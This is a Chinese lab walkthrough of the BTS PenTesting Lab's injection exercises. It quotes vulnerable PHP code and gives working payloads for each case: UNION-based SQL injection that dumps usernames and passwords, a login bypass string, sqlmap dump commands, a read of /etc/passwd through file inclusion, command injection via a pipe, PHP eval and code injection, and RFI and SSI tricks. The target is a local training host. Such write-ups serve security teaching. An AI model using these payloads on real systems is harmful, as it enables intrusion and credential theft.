您的位置:首页 > 其它

BTS PenTesting Lab - A1 Injection

2015-12-25 09:20 302 查看

SQL Injection

Sql Injection 1

源文件:/btslab/vulnerability/ForumPosts.php



# 第7行
mysql_query("DELETE from posts where postid='$id'") or die("Failed to Delete the post");

# 第14行
$result=mysql_query("select * from posts where postid=".$_GET['id']) or die(mysql_error());


直接把传过来的id未过滤就带进SQL去了

地址:http://192.168.1.228/vulnerability/ForumPosts.php?id=1

判断是否存在注入的方法在后面
and 1=1
返回正常、
and 1=2
无返回或加
'
报错



判断数据库版本

id=1 and ord(mid(version(),1,1))>52


返回正常,说明数据库是mysql,并且版本大于5.0,52是ACSII码的4

判断字段长度

id=1 order by 10  # 返回错误

id=1 order by 5   # 返回错误

id=1 order by 4   # 返回正常


建议用“二分查找”,直到返回页面正常

判断哪些字段可以显示数据

id=1 union select 1,2,3,4




这里显示2,3,4列字典可以用来显示数据

查数据库信息

id=1 union select 1,database(),version(),user()




在mysql5.0以上版本中增加了一个系统库
information_schema
,可以直接暴库、表、字段。

构造查表名

id=1 union select 1,2,table_name,4 from information_schema.tables where table_schema=0x6274736c6162 limit 1,3


table_schema=[库名],库名要转换成16进制,limit第几个到第几个表范围

python3字符从转16进制在前面加
0x


for x in 'btslab':print(hex(ord(x))[2:],end='')




查字段

id=1 union select 1,2,column_name,4 from information_schema.columns where table_name=0x706f737473 limit 1,3


最后查询用户数据

id=1 union select 1,2,username,password from users limit 1,3




Authentication Bypass

源文件:/login.php



#第9行
$result=mysql_query("select * from users where username='$username' and password='$password' ") or die(mysql_error());;


登录认证绕过,构造SQL,用户名
admin' or '1'='1
,密码空或随意,SQL语句如下

select * from users where username='admin' or '1'='1' and password=''


成功登录



Blind SQLi 1

源文件:/btslab/vulnerability/sqli/UserInfo.php



第7、8行
$result=mysql_query("select * from users where id=".$id);
$data=@mysql_fetch_array($result);


存在注入,但屏蔽了错误显示,返回只有“正常”和“不正常”两种,属于SQL盲注,比较耗时,使用sqlmap跑

地址:http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1

列数据库

列数据库
# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" --dbs

列表名
# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" -T btslab --tables

列字段
# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" -T btslab -T users --columns

列字段内容
# sqlmap -u "http://192.168.1.228/vulnerability/sqli/UserInfo.php?id=1" -T btslab -T users -C username,password --dump




Blind SQLi 2

源文件:/btslab/vulnerability/sqli/blindsqli.php



SQL盲注,放sqlmap

# sqlmap -u "http://192.168.1.228/vulnerability/sqli/blindsqli.php?id=2" -T btslab -T users -C username,password --dump


# 第19行
include($data['page']);


include
,如果权限足够,可以将任意文件包含进来,比如
/etc/passwd


id=3 union select '/etc/passwd'




Command Injection

源文件:/btslab/vulnerability/cmd/cmd.php



# 第14行
$result=shell_exec("ping ".$_GET['host']);

# 第18行
$result=shell_exec("ping -c 4 ".$_GET['host']);


都直接将参数带入到命令,利用系统管道符进行命令注入
8.8.8.8 | ls -la
,执行时成了

ping -c 4 8.8.8.8 | ls -la




PHP Code Injection

Challenge 1

源文件:/btslab/vulnerability/phpinjection/challenge1.php



# 第7行
eval('$output = ' . $data. ';');


直接将参数带到eval中,直接提交phpinfo()

http://192.168.1.228/vulnerability/phpinjection/challenge1.php?data=phpinfo%28%29




Challenge 2

源文件:/btslab/vulnerability/phpinjection/challenge2.php



# 第6行
$data = preg_replace('/(.*)/e', 'strtoupper("\\1")',$data);


'strtoupper("\\1")'
外面有单引号,这时用双美元符
${${variable}}
注入代码

data={${phpinfo()}}




Remote File Inclusion

源文件://btslab/vulnerability/rfi/RFI.php



这里是远程文件包含,需要在php.ini将
allow_url_include
打开

file=https://www.baidu.com




本地包含直接提交文件名即可

Server Side Includes(SSI) Injection

源文件://btslab/vulnerability/ssi/ssi.php



确保
.htaccess
能解析



嵌入SSI指令打印当前文件名

<!--#echo var="DOCUMENT_NAME"-->


内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  btslab 漏洞演练